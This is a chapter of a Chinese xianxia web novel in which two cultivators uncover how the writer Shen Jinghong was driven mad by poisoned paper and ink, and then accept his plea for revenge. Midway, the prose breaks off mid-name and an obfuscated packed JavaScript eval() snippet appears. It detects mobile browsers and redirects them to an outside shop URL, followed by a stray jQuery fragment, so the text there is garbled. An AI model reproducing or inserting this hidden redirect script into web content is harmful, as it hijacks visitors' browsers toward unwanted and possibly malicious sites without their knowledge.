看了那画册后,无名剑客就决定把画师交给谢婴麟处理,为了不污染耳朵,他还把两人的所有动静都用符纸隔绝了。自己则一直在门口和醉月书生交流——单方面的那种。
和还有神志的许川佩不同,沈惊鸿完全是一副癫狂模样,问东答西,前言不搭后语。几番尝试后,无名剑客的耐心肉眼可见地飞速耗尽,剑气蠢蠢欲动。
小纸人们见状,忙把自己翻到的好东西献上来。无名剑客接过一看,是一本话本,封面上写着沈惊鸿的名字。
他翻了翻,又看了看仍在发癫的书生,忽然有了主意。
几个小纸人趴到无名剑客肩头看了看话本,随即飘下来摆开阵势,当场演了起来。无名剑客清了清嗓子,念出第一句台词:
“诗曰:寒梅未肯轻开蕊,为待千林积雪时。且耐冰霜磨瘦骨,春风不必问早迟——”
“不对!”沈惊鸿猛地抬头,眼里竟有了几分清明,“不对,不对不对!你的声音太嫩,太清爽!不够沧桑!这里要沙哑,要带着三分倦意,五分的无可奈何,两分欲说还休!”
无名剑客看他一眼,换了声调,再念一遍。
沈惊鸿竖起耳朵听完,脸上露出满意的神色,甚至走上前来,亲手拨弄那几个演话本的小纸人:“你,站位不对,应该往左挪半步。你,表情太僵了,要再惊恐一点——”
无名剑客靠在不知从哪儿拖来的躺椅上,由着沈惊鸿折腾。
等到画师消散,谢婴麟踱步过来时,就见小纸人们已经搬来了一张矮几,沈惊鸿趴在几上奋笔疾书,边看表演边改。
谢婴麟站在一旁静静看了一会儿,才道:“这是沈惊鸿的《此世第一仙》?此作是他早年所写,不甚闻名,少有人看。”
无名剑客斜睨他一眼:“你还涉猎演义话本?”
谢婴麟笑了笑:“谁少时不曾幻想过,要成为当世第一大修呢?”
无名剑客从矮几上抽出一页稿纸,随手丢过去:“那你作为读者,鉴赏一下他的修订版。”
谢婴麟接住,低头细看。
这是《此世第一仙》的开篇。他记得早年的版本,写的是意气风发的少年人立于山巅,天高云阔,剑指苍穹,满纸都是“我必登顶”的昂扬。
而现在这一页上,开篇仍是那个少年,却不再是眺望远方,而是回首来路。字里行间都是沧桑,像是一个走了很远很远的老者,在暮色里自言自语。
“改了很多。”谢婴麟品味了一番,评价道:“从‘我要成仙’变成了‘我为什么要成仙’。看来沈惊鸿这些年,心境变化不小。”
“你要是被当成菜吃了,你也得变化,”无名剑客说着,把谢婴麟收进乾坤袋的那叠废纸抽出来,“这就是你研究半天的收获——沈惊鸿的手稿?”
他翻了两页,见当真是乱涂乱画的废纸,马上丢给小纸人,拿出手帕擦了擦手:“我看更像手纸。”
不料小纸人刚接住那页稿纸,就听“滋啦”一声,纸面冒出一股青烟,纸人的半边身子顿时被烫得焦黑卷曲,发出细碎的吱吱声。
其他小纸人一时吓得四散奔逃,几个胆小的直接瘫倒在地。无名剑客立刻弹出一缕真气将被腐蚀的小纸人裹住。然而小纸人刚复原,那焦黑的痕迹又蔓延开来,像活物一样往纸人身体里钻。
无名剑客皱起眉:“怎么回事?”
谢婴麟按住他,乾坤袋中飞出一只白玉瓶,药水倾洒而下。小纸人沐浴在药水中,焦黑褪去,复原如初。它低头看看自己,原地一蹦,欢快地飞到谢婴麟肩上蹭了蹭。
“纸上有毒,”谢婴麟说,“而且毒性不小。”
无名剑客目光扫过散落一地的稿纸,又落在沈惊鸿身上。那人浑然不觉,仍在埋头修改。
“什么毒?”
“腐骨藤,用它鞣制的纸张都有毒性,会侵蚀别的纸张,长期接触它的人,会心神奔逸,意念飘忽。”
“是吗,听起来倒是很适合沈惊鸿。”
“他体内的毒不止这一种。”谢婴麟一扬袖,一排笔墨纸砚凭空浮现,正是茅屋书房里那套。
他捧起那方砚台:“此为泣血石所制,含有水银之精,寻常使用并无影响,但若遇上忘忧松的松烟,佐以无根水,就会导致水银被松烟中的脂蜡活化,经肌理缓慢渗入经脉,日积月累,足以令人神思昏聩,幻象丛生。如此一来,奔逸的神思就不是馈赠,而是折磨了。”
无名剑客转头看向奋笔疾书的沈惊鸿:“他现在不是挺正常的?写出来的东西也能看懂。”
“那是因为,水湘子还贴心地给他准备了这两件宝贝,”谢婴麟骈指一划,几杆光秃秃的毛笔飞到无名剑客面前,“净尘木的笔杆,寒羊毛的笔毫,都是解水银之毒的上佳珍品。”
“一边下毒,一边解毒?”无名剑客嗤道:“你的好伯伯究竟是想他死,还是想他活?”
“非也,非也,”谢婴麟摇摇头,看向沈惊鸿,“我的好伯伯啊,是在‘烹制佳肴’呢。”
闻言,连带着原本在蹭谢婴麟的那个,小纸人们全都缩回了无名剑客身边,静如鹌鹑。
无名剑客抬手护住它们:“说人话。”
“记不记得我同你说,水湘子是依据什么标准,决定谁在公冢埋着,谁杳无音信?”
无名剑客想起那日在秋水山庄大厨房里,谢婴麟说的话:“世间常以刚强期许男子,以柔婉要求女子。然人非陶范,岂能一概而论?总有人性情殊异,不甘就范。水湘子所爱,就是这一点‘例外’。”
无名剑客当时嗤之以鼻,现在也不以为然:“荒谬。”
谢婴麟摇摇折扇:“阁下不信,是因为你自诩刚强坚定伟男儿,但岂知在水湘子眼中,你又是何等模样呢?”
赶在无名剑客回嘴前,他又一转扇子指向正在改作品的沈惊鸿:“沈惊鸿以描写情爱纠葛闻名,好饮酒作乐,性情多愁善感,痴狂放诞,曾为牡丹花未按时令开放而恸哭至泣血。你觉得他与你是同类么?”
无名剑客不予置评,谢婴麟便道:“至少在水湘子眼中,他恐怕就是一个绝佳的例外之人。”
“但是?”
“但是,他看走眼了。”
谢婴
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17731602|205651||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
麟弯腰拿起一张稿纸,细细看了看,又递给无名剑客,说道:“无人问津之时犹能笔耕百载不辍者,岂是易折之人?”
无名剑客接过稿子一看,上面是一首放于回末的词:“......莫叹人间行路远,且向沧溟搏浪头。丹心照九州。”
如今这些文字已被癫狂的沈惊鸿划去,改为一句“说甚移山填海志,回看人间万事休。空山雪满头。”字迹潦草,笔画歪斜。
无名剑客听懂了谢婴麟的意思:“水湘子某天突然发现沈惊鸿不够‘脆弱’,所以把他关在这里,下毒把他变脆弱?真够闲的。”
谢婴麟摇头叹息:“水湘子资助了沈惊鸿三十余年,想来是舍不下这口到嘴边的好肉吧。”
无名剑客瞥他一眼:“你再用这样的语气说话,会叫我怀疑你也是水湘子的座上宾。”
“不必担心,我向来不重口腹之欲,”谢婴麟一本正经地说。
无名剑客不理他,总结道:“所以你的意思是,水湘子给沈惊鸿下毒,让他陷入幻觉,写出了这一堆鬼画桃符。”
谢婴麟接话道:“解毒后,沈惊鸿才发觉自己在写的传世经典竟然只是一堆废纸,这样的打击,不知足不足以摧毁他的意志。”
无名剑客对着沈惊鸿抬了抬下巴:“人都死了,你说呢?”
谢婴麟坐到榻上,伸手拿起一张被改过的稿纸,靠着无名剑客的腿,细细看去。
在醉月书生的原稿中,原本遭到背叛,躺在尸堆里望着夜空的少年人,想起故乡的炊烟与母亲的叮咛,咬着牙重塑金丹,破土而出,眼神比以往更亮。
而现在,这段故事被改成了少年人无能为力地躺在尸堆中等待腐烂,直到一只跛着腿的老狗出现,少年人慢慢把老狗抱进怀里,开始一点一点地尝试聚拢灵气——不为报仇或成仙,只是想让怀里那个哆嗦的小家伙多活过今晚。
谢婴麟将稿纸递给无名剑客,笑道:“松为雪摧而根深不改,春来自青。水湘子恐怕并不明白这一点。”
不知何时,沈惊鸿已停下了笔。
他双手捧着一张稿纸,凑近了看,又举远了看,来回端详了好几遍,脸上渐渐浮起笑意。那笑意越来越深,越来越浓,最后化作一声长笑,震得满院的纸页哗哗作响。
“好!”他大声道,“好啊!这才是我写的!这才是我写的!”
话音未落,散落满地的稿纸齐刷刷飞起,如白蝶绕花,围着他盘旋飞舞。沈惊鸿张开双臂,仰头向天,声音里带着压抑了不知多少年的癫狂与畅快:
“水湘子!你困得住我的魂,困不住我的笔!!”
他转头看向门口两人,伸手一招。一支精致的毛笔凭空出现,浮到谢婴麟和无名剑客面前。
“二位道友,”沈惊鸿面色郑重,清晰地说,“请替沈某,报这个仇。”
谢婴麟侧目看向无名剑客。
无名剑客拨开靠着他的谢婴麟,起身将那支笔握在手中:“好。”
沈惊鸿笑了笑,灵体如被风吹散的纸页,一片一片飘起,化作漫天白纸,纷纷扬扬,落了一地。